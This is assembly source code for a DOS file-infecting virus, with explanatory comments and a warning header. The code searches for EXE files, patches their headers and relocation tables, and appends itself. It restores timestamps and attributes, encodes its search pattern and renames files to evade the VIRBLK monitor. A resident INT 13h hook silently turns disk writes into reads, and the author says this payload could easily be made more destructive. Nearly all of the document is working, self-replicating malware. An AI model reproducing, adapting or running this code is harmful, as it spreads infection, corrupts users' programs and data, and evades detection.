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724 lines
28 KiB
NASM
;--------------------------------------------------------------------;
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; ;
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; EXE virus, with resident part ;
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; ;
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; ---- infecting program ---- ;
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; ;
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;--------------------------------------------------------------------;
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;--------------------------------------------------------------------;
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; ;
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; WARNING : it's definitely NOT safe to assemble and execute ;
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; this code. If anybody has to, I highly reccomend using ;
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; a diskette and debugger. ;
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; ;
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;--------------------------------------------------------------------;
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;*********************************************************************
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;--------------------------------------------------------------------;
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; ;
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; The EXE virus concept is as follows: ;
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; ;
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; First, original Disk Transfer Address is preserved to avoid ;
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; changing command-line text. Also initial values of CS, IP, SS, SP ;
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; DS and ES are saved (to be restored on exit from virus code). ;
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; Virus is to be appended to original code and, of course, has ;
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; to be relocated before it's executed. Thus, first we look for ;
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; an EXE file. Then we have to know if this is in fact an EXE ;
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; (checking for magic 'MZ' signature) and if there is any free space ;
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; in relocation table. This is checked by substracting relocation ;
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; table end (i.e. sum of table start and number of relocation items, ;
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; multiplied by table entry size) from EXE header size. ;
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; Smart virus shouldn't infect a file that's already infected. ;
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; So first 4 bytes of code to be executed is compared against ;
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; virus code. If they match one another, no infection takes place. ;
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; Having found suitable file, we compute its code end and append ;
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; virus at the end of code, writing alignment to last 512-bytes page ;
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; boundary if necessary. Original start address is preserved inside ;
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; virus, and CS:IP value in EXE header gets changed, so that virus ;
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; code would be executed first. Number of pages gets changed, ;
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; together with Last Page Size and Number Of Relocation Items. ;
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; New relocation item address is appended to relocation table, ;
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; pointing to the segment of the far jump in virus (this is the jump ;
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; virus uses to return to original code). ;
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; Upon returning from virus, all saved registers and DTA are ;
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; restored to reestablish environment state as if no virus existed. ;
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; ;
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; Virus also installs resident part, if it is not already present. ;
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; This part's job is to replace all disk 'writes' with corresponding ;
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; 'reads'. It's rather unharmful, but can easily be replaced with ;
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; more dangerous one (if somebody is really keen to be called ...). ;
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; Instalation can be removed with equal ease, as well. ;
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; ;
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; The real trouble with EXEs is that DOS pays a little (if any) ;
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; attention to Last Page Size. Therefore EXE files ofen have this ;
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; zeroed, even if they have some code on the last page. Writing to ;
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; last page can cause system crash while infected file is being ;
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; executed. To solve the problem, one should first test if EXE file ;
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; really ends as the header contents say and move to last page end ;
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; instead of appending any bytes, if possible. ;
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; ;
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; Another problem is infecting EXEs containg debug info. ;
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; It comes in various formats, and often contains vital informations ;
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; placed behind code. This info gets destroyed when file becomes ;
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; infected. I see no solution to this problem, so far. ;
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; ;
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;--------------------------------------------------------------------;
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;********************************************************************;
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;--------------------------------------------------------------------;
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; ;
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; SEGMENT dummy ;
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; ;
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; Raison d'etre of this segment is to force assembling of ;
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; the JMP FAR after the execution of virus code. ;
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; ;
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; This segment serves also to make it possible for the infecting ;
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; program to return to DOS. ;
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; ;
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;--------------------------------------------------------------------;
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dummy segment 'dummy'
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assume cs: dummy
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d_end label far ; this is the point virus jumps to
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; after executing itself
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mov ah, 4Ch
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int 21h ; DOS EXIT function
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dummy ends
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;--------------------------------------------------------------------;
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; ;
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; SEGMENT code ;
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; ;
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; Code for virus (including its resident part). ;
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; ;
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; Executed from label start:. Exits via dummy:d_end. ;
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; ;
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;--------------------------------------------------------------------;
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code segment 'code'
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public start, jump, old_IP, old_CS, old_DTA,
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public next, ok, exit, header, DTA, file_name, old_SS, old_SP, aux
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public last_page, page_count, item_count, header_size, table_start
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public header_IP, header_CS, header_SS, header_SP, aux_CS, aux_IP
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public not_ok, time, date, attributes, new_name, found_name
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public restore_and_close, dot, seek_dot, next_letter, install_flag
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public next_lttr, EXE_sign, int_CS, int_IP, virus_length, set_ES
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public resident, resident_size, l1, call_int, install, set_DS
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assume cs : code, ds : code
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;--------------------------------------------------------------------;
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; ;
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; Here are symbolic names for memory locations ;
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; ;
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;--------------------------------------------------------------------;
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; First go names for EXE header contents
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EXE_sign equ word ptr [header]
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last_page equ word ptr [header + 2]
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page_count equ word ptr [header + 4]
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item_count equ word ptr [header + 6]
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header_size equ word ptr [header + 8]
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header_SS equ word ptr [header + 0Eh]
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header_SP equ word ptr [header + 10h]
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header_IP equ word ptr [header + 14h]
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header_CS equ word ptr [header + 16h]
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table_start equ word ptr [header + 18h]
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; Now names for address of mother program
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old_IP equ word ptr [jump + 1]
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old_CS equ word ptr [jump + 3]
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; Segment to put resident part in, for instance end of 2nd Hercules page
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resident_CS equ 0BFFEh
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; And label for the name of the file found by Find_First and Find_Next
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found_name equ DTA + 1Eh
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; Last is virus length
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virus_length equ offset header
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;------------ Now starts virus code --------------------------------;
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; First original values of SS, SP, ES, DS are preserved,
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; and new values for this registers are set
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start: mov cx, ss ; temporarily save SS in CX
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mov dx, sp ; and SP in DX
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mov ax, cs ; now AX = CODE
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cli ; disable hard ints while changing stack
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mov ss, ax ; now SS = CODE
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mov sp, 0FFFFh ; and SS points to segment end
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sti ; hardware interrupts are OK now
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push ds ; preserve DS on stack
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push es ; same with ES
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push cs
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pop ds ; set DS to CODE
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mov [old_SS], cx ; now as DS is CODE, we can store
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mov [old_SP], dx ; original SS and SP in memory
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; Original DTA is preserved now
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mov ah, 2Fh
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int 21h
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mov word ptr [old_DTA], bx ; now ES:BX points to DTA
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mov word ptr [old_DTA + 2], es ; save its address in memory
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; Call to Get_DTA would have destroyed ES. Now set it
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push ds ; set ES to CODE
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pop es
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; And now new DTA is established for virus disk actions
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mov dx, offset DTA ; DS:DX point to new DTA
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mov ah, 1Ah
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int 21h
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; Store original INT_13 vector for use in resident part
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mov ax, 3513h
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int 21h ; DOS Get_Interrupt_Vector function
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mov [int_IP], bx ; now ES:BX holds INT_13 vector
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mov [int_CS], es ; store it inside resident part
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; Check if resident part already present
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mov ax, es ; compare can work with AX
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cmp ax, resident_CS ; check if this is resident_CS
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jnz install ; no, so install
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cmp bx, 0 ; is offset 0 ?
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jnz install ; no, so install
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; Resident part found, do not install
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mov [install_flag], 0 ; signal 'no installing'
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jmp short set_ES ; and omit copying code
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; Now resident part is moved to its place in memory
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install: mov ax, resident_CS
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mov es, ax ; ES = segment for resident part
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xor di, di ; DI = 0, resident starts from offset 0
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mov si, offset resident ; SI = offset in DS for resident part
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mov cx, resident_size ; CX = size of resident part
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cld ; set auto increment
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rep movsb ; copy resident part from DS:SI to ES:DI
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mov [install_flag], 1 ; signal 'instal vector'
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; Reestablish destroyed ES to CODE
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set_ES: push ds
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pop es
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; Now decode "*.EXE" name pattern. It's coded to disable 'eye-shot' discovery
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mov si, offset file_name ; name pattern starts there
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mov cx, 5 ; and is 5 bytes long
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next_letter: inc byte ptr [si] ; decode by incrementing by one
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inc si
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loop next_letter ; decode all 5 bytes
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; Find an EXE file
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mov dx, offset file_name ; DS:DX points to '*.EXE'
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mov cx, 20h ; search for read-only files too
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mov ah, 4Eh ; DOS Find_First function
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int 21h ; now DTA gets filled with info
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jnc check ; no carry means file found
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; jump to check if to infect file
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jmp exit ; no EXE file - nothing to do
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; Find next EXE file, if necessary
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next: mov ah, 4Fh ;DOS Find_Next function
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int 21h
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jnc check ; see jumps after Find_First
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jmp exit ; for explanation
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; Check if file should and can be infected
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; First of all, get file attributes
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check: mov dx, offset found_name ; DS:DX points to found file name
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mov ax, 4300h ; DOS Get_File_Attributes function
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int 21h ; attributes returned in CX
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mov [attributes], cx ; preserve them in memory
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; Then change file attributes to 'neutral'
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mov dx, offset found_name ; DS:DX points to found file name
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xor cx, cx ; CX = 0 - means no attributes set
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mov ax, 4301h ; DOS Set_File_Attributes function
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int 21h ; attributes to be set in CX
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; To avoid being spotted by VIRBLK, rename ????????.EXE to ???????.
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mov si, offset found_name ; DS:DX points to found file name
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mov di, offset new_name ; ES:DI points to new name
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cld ; set auto increment
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; Copy old name to new name until dot found
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seek_dot: lodsb ; get character at DS:SI
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cmp al, '.' ; check if it is a dot
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stosb ; copy it anyway to ES:DI
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jz dot ; dot found, end of copying
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loop seek_dot ; if no dot, copy next character
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; DOS requires ASCIIZ strings, so append a byte of 0 to new name
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dot: xor al, al ; AL = 0
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stosb ; store 0 to byte at ES:DI
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; Now rename can be performed
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mov dx, offset found_name ; DS:DX points to old name
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mov di, offset new_name ; ES:DI points to new name
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mov ah, 56h ; DOS Rename_File function
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int 21h
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; It is safe to open file now
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mov dx, offset new_name ; DS:DX points to file name
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mov ax, 3D02h ; DOS Open_File_Handle fuction
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int 21h ; open file for reading and writing
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jc next ; carry set means for some reason
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; operation failed
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; try to find next file
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; Preserve handle for just open file in BX register
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mov bx, ax ; all DOS calls require handle in BX
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; Now store original file time and date, to be restored on closing the file
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mov ax, 5700h ; DOS Get_File_Time_Date function
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int 21h ; time returned in CX, date in DX
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mov [time], cx ; store time in memory
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mov [date], dx ; same with date
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; Read EXE header to memory
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mov dx, offset header ; DS:DX = place to read header to
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mov cx, 1Ah ; header is 1Ah bytes long
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mov ah, 3Fh ; DOS Read_Handle function
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int 21h
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; Check if it is a real EXE, not just EXE-named file
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check_EXE: cmp EXE_sign, 5A4Dh ; first two bytes of header should
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; contain 'MZ' characters
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jne not_ok ; if not, don't proceed with file
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; It is EXE, check if it is already infected
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; by comparing code start with itself
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; Compute where code in file starts
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mov ax, [header_CS] ; get start CS for file
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add ax, [header_size] ; add header size
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mov cx, 16 ; above were in 16 bytes units
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mul cx ; so multiply by 16
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; DX|AX holds result
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add ax, [header_IP] ; add for IP
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adc dx, 0 ; propagate carry if necessasry
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; Now DX|AX holds file offset for code start, move there
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mov cx, dx ; set registers for DOS call
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mov dx, ax
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mov ax, 4200h ; DOS Move_File_Ptr function
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int 21h ; move relatively to start
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; Read first four bytes of code
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mov dx, offset aux ; DS:DX = place to read code into
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mov cx, 4 ; CX = number of bytes to read
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mov ah, 3Fh ; DOS Read_Handle function
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int 21h
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; Compare them with itself
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mov di, offset aux ; ES:DI points to code from file
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mov si, offset start ; DS:SI points to itself start
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mov cx, 2 ; CX = number of words to compare
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cld ; set auto increment
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repe cmpsw ; compare while equal
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je not_ok ; equal = infected, don't proceed
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; Check if there is space in relocation table to put one more item
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; Calculate where Relocation_Table ends
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mov ax, [item_count] ; get number of Relocation Items
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inc ax ; add for new one
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mov cx, 4 ; each one is 4 bytes long
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mul cx ; so multiply by 4
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; DX|AX holds result
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add ax, [table_start] ; add offset of Relocation_Table
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adc dx, 0 ; process carry
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; Now DX|AX holds file offset for table end, store it temporarily in DI|SI
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mov di, dx ; preserve Relocation_Table offset
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mov si, ax
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; Calculate where code starts (in file)
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mov ax, [header_size] ; get header size for this EXE
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mov cx, 10h ; as it is in 16 byte units,
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mul cx ; multiply by 16
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; DX|AX holds result
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; See if there is free space for relocation item
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sub ax, si ; substract Relocation_Table end
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sbb dx, di
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jae ok ; Relocation_Table end not less
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; then code start, so there IS room
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; If somehow this file is not to be infected, restore it's original state
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not_ok: call restore_and_close
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jmp next ; nevertheless, try to find infectable one
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; File is to be infected now
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; First adjust file offset for new relocation item
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ok: sub si, 4 ; new item starts 4 bytes
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sbb di, 0 ; before Relocation_Table end
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; Then preserve temporarily address of the mother code
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mov ax, [old_CS] ; preserve jump address via AX
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mov [aux_CS], ax ; in memory
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mov ax, [old_IP]
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mov [aux_IP], ax
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; Form inside itself a jump to new mother start
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mov ax, [header_IP] ; store new mother CS:IP as jump
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mov [old_IP], ax ; do it via AX
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mov ax, [header_CS]
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mov [old_CS], ax
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; Calculate last page alignment
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mov cx, [last_page] ; CX = number of bytes in last page
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mov ax, 200h ; AX = page size (page is 512 bytes)
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sub ax, cx ; CX = alignment to page boundary
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mov bp, ax ; preserve alignment in BP
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; Calculate new CS:IP values to execute virus instead of mother
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mov ax, [page_count] ; get number of pages in new mother
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mov cx, 20h ; multiply by 32 to convert to
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mul cx ; 16 bytes units
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sub ax, [header_size] ; decrease by header size
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; Modify header as necessary
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mov [header_CS], ax ; AX holds CS for virus
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xor ax, ax ; now zero AX
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mov [header_IP], ax ; as IP for virus is 0
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add [page_count], 2 ; reserve space for virus
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inc [item_count] ; there'll be one more item
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mov [last_page], offset header ; last page will be as long
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; as virus itself
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and [last_page], 1FFh ; modulo 512, of course
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; Move to file start
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xor cx, cx ; start means offset 0
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xor dx, dx
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mov ax, 4200h ; DOS Move_File_Ptr function
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int 21h ; move relatively to start
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; Write new header
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mov dx, offset header ; DS:DX points to new header
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mov cx, 1Ah ; which is still 1A bytes long
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mov ah, 40h ; DOS Write_Handle function
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int 21h
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; Move to new Relocation Item position
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mov cx, di ; get stored position from DI|SI
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mov dx, si
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mov ax, 4200h ; DOS Move_File_Ptr function
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int 21h ; move relatively to start
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; Write new relocation item
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mov [header_IP], offset old_CS ; new Relocation Item offset
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; is jump to new mother code
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mov dx, offset header_IP ; DS:DX = new relocation item
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mov cx, 4 ; exactly 4 bytes long
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mov ah, 40h ; DOS Write_Handle function
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int 21h
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; Calculate file offset for new mother code end
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mov ax, [header_CS] ; get mother code lenght
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add ax, [header_size] ; add header size
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mov cx, 10h ; it's in 16 bytes units
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mul cx ; so multiply by 16
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sub ax, bp ; last page is not full
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sbb dx, 0 ; so move back appropirately
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; Move file ptr to mother code end
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mov cx, dx ; DX|AX = file offset to code end
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mov dx, ax ; set CX|DX for DOS call
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mov ax, 4200h ; DOS Move_File_Ptr function
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int 21h ; move relatively to start
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; Write alignement (no matter what, only number is important)
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mov cx, bp ; get alignement amount
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mov ah, 40h ; DOS Write_Handle function
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int 21h ; write CX bytes
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; Now prepare to append itself to EXE file
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; First encode EXE name patter anew
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mov si, offset file_name ; DS:SI points to name pattern
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mov cx, 5 ; it is 5 characters long
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next_lttr: dec byte ptr [si] ; encode by decrement
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inc si
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loop next_lttr ; encode all 5 characters
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; All ready, append itself now
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xor dx, dx ; DX = 0, start offset for virus code
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mov cx, virus_length ; CX = number of bytes to write
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mov ah, 40h ; DOS Write_Handle function
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int 21h
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; No further action involving file will be taken, so restore it's state
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call restore_and_close ; restore date and time, close file
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; Restore jump to this mother code
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mov ax, [aux_CS] ; restore jump addres via AX
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mov [old_CS], ax
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mov ax, [aux_IP]
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mov [old_IP], ax
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; All done with infecting, prepare to execute mother
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; Restore original DTA
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push ds ; preserve DS (now DS = CODE)
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exit: lds dx, old_DTA ; get original DTA address to DS:DX
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mov ah, 1Ah ; DOS Set_DTA function
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int 21h
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; Check if install new INT_13 vector
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cmp [install_flag], 0 ; 0 means no installing
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jz set_DS ; omit installing
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; Install resident part
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mov ax, resident_CS ; load CS for resident to DS (via AX)
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mov ds, ax
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xor dx, dx ; DS:DX = address of resident part
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mov ax, 2513h ; DOS Set_Interrupt_Vector function
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int 21h ; set vector for INT_13
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set_DS: pop ds ; restore DS to CODE
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mov bx, [old_SS] ; BX = original SS
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mov cx, [old_SP] ; CX = original SP
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pop es ; restore original DS and ES
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pop ds
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cli ; disable hardware interrupts
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mov sp, cx ; while restoring original SS:SP
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mov ss, bx
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sti ; enable hardware interrupts
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; Virus has done all its job, now let mother do its own
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jump: jmp dummy:d_end ; jump to original code
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;----------- here is the one and only procedure -------------------;
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restore_and_close proc near
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; Restore original file time and date
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mov cx, [time] ; get saved time
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mov dx, [date] ; get saved date
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mov ax, 5701h ; DOS Set_File_Time_Date function
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int 21h ; time set as CX, date as DX
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; Close file
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mov ah, 3Eh ; DOS Close_File function
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int 21h
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; Restore original name
|
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mov dx, offset new_name ; DS:DX points to new name
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mov di, offset found_name ; ES:DI points to original name
|
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mov ah, 56h ; DOS Rename_File function
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int 21h
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; Restore original file attributes
|
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mov dx, offset found_name ; restore attributes
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mov cx, [attributes]
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mov ax, 4301h ; DOS Set_File_Attributes function
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int 21h ; attributes set as CX
|
||
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ret
|
||
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restore_and_close endp
|
||
|
||
|
||
;------------ and here go the resident part of the virus -------------;
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resident: pushf ; save flags
|
||
|
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cmp ah, 3 ; is it Disk_Write_1 ?
|
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jnz l1 ; no, check Disk_Write_2
|
||
|
||
mov ah, 2 ; yes, convert to Disk_Read_1
|
||
jmp short call_int ; and exit resident
|
||
|
||
l1: cmp ah, 0Bh ; is it Disk_Write_2 ?
|
||
jnz call_int ; no, exit resident
|
||
|
||
mov ah, 0Ah ; yes, convert to Disk_Read_2
|
||
|
||
call_int: popf ; restore flags
|
||
|
||
|
||
; Next 5 bytes form long jump to original INT_13 handler
|
||
|
||
db 0EAh ; means JMP FAR
|
||
|
||
int_IP dw 0 ; and here the address to jump to
|
||
int_CS dw 0
|
||
|
||
resident_size equ $ - resident
|
||
|
||
;-------- now data for virus, just encoded file name pattern -------;
|
||
|
||
file_name db ')-DWD', 0
|
||
|
||
;-------------------------------------------------------------------;
|
||
; ;
|
||
; Here VIRUS ends. The rest are purely placeholders ;
|
||
; ;
|
||
;-------------------------------------------------------------------;
|
||
|
||
;*******************************************************************;
|
||
|
||
header dw 13 dup (0)
|
||
|
||
old_SS dw 0
|
||
old_SP dw 0
|
||
|
||
aux_CS dw 0
|
||
aux_IP dw 0
|
||
|
||
old_DTA dd 0
|
||
|
||
time dw 0
|
||
date dw 0
|
||
|
||
attributes dw 0
|
||
|
||
install_flag db 0
|
||
|
||
new_name db 9 dup (0)
|
||
|
||
DTA dw 2Ch dup (0)
|
||
|
||
aux dw 2 dup (0)
|
||
|
||
code ends
|
||
|
||
end start
|
||
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